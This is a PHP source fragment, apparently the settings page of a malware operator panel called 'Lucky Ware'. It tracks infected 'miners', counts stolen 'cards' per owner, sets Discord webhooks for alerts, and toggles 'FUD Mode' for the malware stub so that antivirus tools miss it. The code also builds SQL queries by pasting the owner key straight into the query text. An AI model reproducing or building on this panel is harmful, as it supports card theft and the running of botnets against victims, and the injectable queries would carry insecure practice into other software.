= $fiveMinutesAgo"; } else { $selectu = "SELECT * FROM miners WHERE OwnerID = '$secretkey'"; $resultu = mysqli_query($conn, $selectu); $mytk = mysqli_num_rows($resultu); $selectan = "SELECT * FROM cards WHERE OwnerID = '$secretkey'"; $resultan = mysqli_query($conn, $selectan); $mystole = mysqli_num_rows($resultan); $fiveMinutesAgo = time() - 360; $selectana = "SELECT * FROM miners WHERE OwnerID = '$secretkey' AND LastPing >= $fiveMinutesAgo"; } $resultanss = mysqli_query($conn, $selectana); $myaktv = mysqli_num_rows($resultanss); } function startsWith($haystack, $needle) { return strpos($haystack, $needle) === 0; } function sanitizeInput($input) { // Define the list of forbidden characters $forbiddenChars = ['(', ')', '=', '*']; $isac = '0'; // Check if the input contains any forbidden characters foreach ($forbiddenChars as $char) { if (strpos($input, $char) !== false) { // Forbidden character found, handle the error (you can customize this part) $isac = '1'; } } if ($isac == '1') { return 'NoSpecialChar'; } else { return htmlspecialchars($input, ENT_QUOTES, 'UTF-8'); } } function GetIP() { if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) { $_SERVER['REMOTE_ADDR'] = $_SERVER["HTTP_CF_CONNECTING_IP"]; } return $_SERVER['REMOTE_ADDR']; } function getCountryCode($ip) { $url = "http://ipinfo.io/{$ip}/json"; $response = file_get_contents($url); $data = json_decode($response, true); return $data['country'] ?? 'Unknown'; } $holdwbhk; // Query to fetch the value from the "wallet" column $webbby = "SELECT WebhookScr FROM accounts WHERE OwnerKey = '$secretkey'"; // You need to specify your table and condition here $resultwebby = mysqli_query($conn, $webbby); if ($resultwebby->num_rows > 0) { // Display the value from the "wallet" column $rowanan = $resultwebby->fetch_assoc(); $WBRaw = $rowanan["WebhookScr"]; if (empty($WBRaw)) { $holdwbhk = 'You will recieve ip addres and time of each login, Discord webhook only!'; } else { $holdwbhk = 'Setted to ' . $WBRaw; } } $holdSCRTY; // Query to fetch the value from the "wallet" column $SecuirtyCtry = "SELECT SecuirtyCountry FROM accounts WHERE OwnerKey = '$secretkey'"; // You need to specify your table and condition here $resultctryy = mysqli_query($conn, $SecuirtyCtry); if ($resultctryy->num_rows > 0) { // Display the value from the "wallet" column $rowanancrty = $resultctryy->fetch_assoc(); $CountryRw = $rowanancrty["SecuirtyCountry"]; if ($CountryRw == "X") { $holdSCRTY = 'Account Country Lock Is Disabled.'; } else { $holdSCRTY = 'Account Country Lock Is Enabled, Locked Country Code: ' . $CountryRw; } } $HoldFUD; // Query to fetch the value from the "wallet" column $FUDWRR = "SELECT FUDM FROM accounts WHERE OwnerKey = '$secretkey'"; // You need to specify your table and condition here $ResultFUD = mysqli_query($conn, $FUDWRR); if ($ResultFUD->num_rows > 0) { // Display the value from the "wallet" column $FUDRS = $ResultFUD->fetch_assoc(); $IsFUDD = $FUDRS["FUDM"]; if ($IsFUDD == "disabled") { $HoldFUD = 'FUD Mode for stub is Disabled.'; } else { $HoldFUD = 'FUD Mode for stub is Enabled.'; } } if (isset($_POST["wbhkscr"])) { $webhkk = sanitizeInput($_POST['webhook1']); if (startsWith($webhkk, "https://discord.com/api/webhooks/") || startsWith($webhkk, "https://discordapp.com/api/webhooks/")) { $sql = "UPDATE accounts SET WebhookScr=? WHERE OwnerKey=?"; $stmt = $conn->prepare($sql); $stmt->bind_param("ss", $webhkk, $secretkey); if ($stmt->execute()) { header("Refresh:0"); } else { header("Refresh:0"); } } else { echo ""; } } if (isset($_POST["disbbl"])) { $nono = "X"; $sql = "UPDATE accounts SET SecuirtyCountry=? WHERE OwnerKey=?"; $stmt = $conn->prepare($sql); $stmt->bind_param("ss", $nono, $secretkey); if ($stmt->execute()) { $holdSCRTY = 'Account Country Lock Is Disabled.'; } else { } } if (isset($_POST["enebel"])) { $IP = GetIP(); $Kanty = getCountryCode($IP); if ($Kanty == "Unknown") { echo ""; } else { $sql = "UPDATE accounts SET SecuirtyCountry=? WHERE OwnerKey=?"; $stmt = $conn->prepare($sql); $stmt->bind_param("ss", $Kanty, $secretkey); if ($stmt->execute()) { $holdSCRTY = 'Account Country Lock Is Enabled, Locked Country Code: ' . $Kanty; } else { } } } if (isset($_POST["disbblfd"])) { $nono = "disabled"; $sql = "UPDATE accounts SET FUDM=? WHERE OwnerKey=?"; $stmt = $conn->prepare($sql); $stmt->bind_param("ss", $nono, $secretkey); if ($stmt->execute()) { $HoldFUD = 'FUD Mode for stub is Disabled.'; } else { } } if (isset($_POST["enebelfd"])) { $evett = "enabled"; $sql = "UPDATE accounts SET FUDM=? WHERE OwnerKey=?"; $stmt = $conn->prepare($sql); $stmt->bind_param("ss", $evett, $secretkey); if ($stmt->execute()) { $HoldFUD = 'FUD Mode for stub is Enabled.'; } else { } } ?> Settings

Lucky Ware

Total Clients

Active Clients

Total Cards

Subscription

Account Security


Stub Advanced Settings